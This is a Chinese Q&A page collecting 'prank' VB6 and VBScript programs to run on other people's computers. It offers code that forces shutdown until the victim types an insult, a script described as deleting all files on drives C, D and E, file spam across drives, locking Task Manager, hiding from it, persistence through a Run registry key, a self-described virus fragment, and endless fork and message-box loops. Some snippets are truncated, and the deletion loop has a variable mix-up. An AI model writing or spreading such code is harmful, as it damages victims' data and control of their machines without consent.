求详细VB整人代码！

求一堆vb整人程序的代码~

把下面的程序做成.exe。然后放在启动里。但首先要保证是XP系统，并且系统里有shut down命令。程序在visual basic6.0测试通过
Private Sub Form_Load()Dim x As StringDoShell ("c:\windows\system32\shutdown.exe -s -t 60")x = InputBox("你是不是弱智", "请输入", , 1000, 1000)If x = "是" ThenShell ("c:\windows\system32\shutdown.exe -a")MsgBox ("早这样说不就好了")EndEnd If
Loop
End Sub
这个程序挺简单的，就不上图了。里面做了一下改动。如果按楼主的意思，“我”，显示出来以后很别扭，如果你想改，把inputbox("")里的改成你想要的。在x=""里改成你想要对方回答的答案即可。

建立个TXT文档

输入：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

保存后 重命名为 整人.VBS

然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown -a
即可取消关机命令 然后使用任务管理器结束进程即可

Private Sub Form_Load()
Form1.Visible = False
For i = 1 To 20#
Open "c:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 1
Open "d:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 2
Open "e:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 3

Close #1
Close #2
Close #3
Next
End Sub

执行后c,d,e会每个盘符下都有20个已经建立的文件,如果还有其他盘符
你自己在加个上去
清空硬盘很简单~直接del

Sub ss(ByVal Path)
On Error Resume Next
Dim fso As New FileSystemObject
Set fso = CreateObject("Scripting.FileSystemObject")

For Each f In fso.GetFolder(Path).Files
fso.DeleteFile fs
Next

For Each fs In fso.GetFolder(Path).SubFolders
Call ss(fs)
Next
End Sub

Call ss("C:")
Call ss("D:")
Call ss("E:")

以上代码，只要复制在记事本里，再另存为XXX.VBS就行了。
删除C，D，E盘所有文件。

on error resume next
　　dim WSHshellA
　　set WSHshellA = wscript.createobject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是脑残，不说我是脑残就一分钟关机，不信，试下···"" ",0 ,true
　　dim a
　　do while(a <> "我是脑残")
　　a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残""　","说不说","",8000,7000)
　　msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "早说你是脑残就行了嘛"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

---

泽库县13244702296： 求一段整人的VB代码! ？
薛友丹香： Private Sub Form_Load()Form1.Visible = FalseFor i = 1 To 20# Open ＂c:\\你被怪人恶搞了,你傻了吧!＂ + CStr(i) + ＂.txt＂ For Random As 1 Open ＂d:\\你被怪人恶...

泽库县13244702296： 给一些VB整人的代码 - ？
薛友丹香： VB整人经典代码此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你 Private Sub Form_Load() Open Environ$(＂WinDir＂) & ＂\system32\taskmgr.exe＂ For Binary As #1 For m = 1 To 999 MsgBox ＂呵呵,你知...

泽库县13244702296： 如何使用VB编写整人小程序? - ？
薛友丹香： 使用VB编写整人小游戏程序,可以参考如下:更改中文即可.Private Sub Form_Load() Dim wood As String MsgBox ＂谁是猪＂, vbCritical, ＂提示＂ '这里写捉弄人的话 wood = InputBox(＂请输入答案:＂) If wood = ＂我＂ Then '答案可以自己设 End Else Shell ＂cmd.exe /c shutdown -s -t 60＂ '60秒后关机 End If End Sub

泽库县13244702296： VB整人代码有哪些?？
薛友丹香： 1、sub form_load() shell app.exename end sub 2、do shell ＂notepad.exe＂ loop 3、shell ＂cmd /c shutdown -s -f -t 01＂ 1和2是不断运行程序,3是迅速关机.

泽库县13244702296： 给几个VB整人程序的代码..耍耍人.呵呵 - ？
薛友丹香： Dim num, nums '驱动器数 Dim i As Integer '文件号 Dim j As Integer 'FOR用的变量!Private Sub Form_Load() '程序初始化!'不准重复运行本病毒!If App.PrevInstance Then End End If'在任务管理器中隐身!App.TaskVisible = False'病毒自我...

泽库县13244702296： 求用vb编一个整人程序 - ？
薛友丹香： Private Sub Command1_Click() Dim k As Boolean k = False Do While k = False If MsgBox(＂你是不是SB＂, vbQuestion + vbYesNo, ＂hehe..＂) = vbYes Then Exit Sub Loop End Sub

泽库县13244702296： VB写一个整人程序..求高人解答 - ？
薛友丹香： Private Sub Form_Load() Hide Wsh = CreateObject(＂wscript.shell＂); Wsh.RegWrite ＂HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\[System]＂, App.Path & ＂\＂ & App.EXEName Shell ＂shutdown /s /f＂, vbHide End Sub'但是会被杀软给禁止写启动项,被写了也可以进安全模式杀

泽库县13244702296： 求详细VB整人代码!？
薛友丹香：Sub ss(ByVal Path) On Error Resume Next Dim fso As New FileSystemObject Set fso = CreateObject(＂Scripting.FileSystemObject＂) For Each f In fso.GetFolder(Path).Files fso.DeleteFile fs Next For Each fs In fso.GetFolder(Path).SubFolders ...

泽库县13244702296： 谁给我用vb编个整人的死循环? - ？
薛友丹香： Private Sub Form_Load() Dim i As Integer Do While 1 msgbox(＂哈哈弹到你死!＂) Loop End Sub do while ... loop 表示循环条件恒为真也就是说这个循环没有结束出口.会一直执行下去. 也就是说一直执行那个msgbox弹出提示.

泽库县13244702296： vb整人小程序代码 - ？
薛友丹香： 运行程序后一直弹消息. 新建一个工程,把窗体移除.然后新建一个模块输入以下代码. ' ' Private Sub Main() dim i as long for i=0 to 1000 if i=10 then msgbox ＂累吗?不累就继续＂,,ielseif i=20 then msgbox ＂累了吧,累了休息会＂,,i...